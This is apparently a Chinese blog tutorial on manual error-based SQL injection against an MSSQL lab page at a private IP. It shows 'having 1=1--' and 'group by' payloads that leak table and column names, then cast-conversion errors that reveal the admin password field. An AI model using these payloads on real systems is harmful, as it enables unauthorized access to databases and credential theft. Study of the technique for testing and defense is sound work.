SQL注入实例(二)

having与group by查询爆表名和字段名

  • 在注入点地址后提交“having 1=1--",从返回的错误信息中即可得到当前表名与第一个字段名。再继续提交以下代码。
    group by 字段名 1 having 1-1--

  • group by 字段名1,字段名2 having 1=1--
    返回第三个字段名。继续提交以下代码。

  • group by 字段名1,字段名2,字段名3…字段名n having 1=1--
    直到页面返回正常信息,即可得到所有的字段名。

从页面返回的错误信息中,即可得知第二个字段名。继续提交以下代码。

image.png

继续猜解其他字段名,提交以下链接。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 group by admin.id having 1=1--

image.png

继续猜解当前表中的下一个字段名。
http://192.168.1.55/sqlserver/1.aspx?xxser=1 group by admin.id,admin.name having 1=1--

image.png
返回正常信息为止
  • 得到当前表有三个字段以及表名(表名:admin 字段有 id,name,password )在通过数据类型转换报错得到报错信息 从而爆破字段内容
image.png
  • 获取密码:原理是password为字符型,但是内容为数值型字符在mssql可以转化为数值型数据不会报错 我们可以利用cast函数在password后加一个字符让password内容不再为全数值型字符 然后在进行数值型数据做对比 得到报错信息
image.png
最后编辑于
©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容

  • MSSQL 跨库查询(臭要饭的!黑夜) 榨干MS SQL最后一滴血 SQL语句参考及记录集对象详解 关于SQL S...
    碧海生曲阅读 5,751评论 0 1
  • 姓名:于川皓 学号:16140210089 转载自:https://baike.baidu.com/item/sq...
    道无涯_cc76阅读 2,002评论 0 2
  • 手动不易,转发请注明出处 --Trance 数据库系统命令: (1).查看存储过程状态:show pro...
    Trance_b54c阅读 1,773评论 0 8
  • 手工: 第一种 1.判断输入框是否存在注入 直接输入一个 '看是否报错(如果存在盲注的话也是不会报错的),如果直接...
    查无此人asdasd阅读 11,570评论 0 6
  • 房子里悬挂了一个铃铛,室里也悬挂了一个,这两个铃铛用一根金属线相连。 在房子里敲一下铃铛,震动沿着金属线传给室里的...
    泡泡鱼dairying阅读 162评论 0 2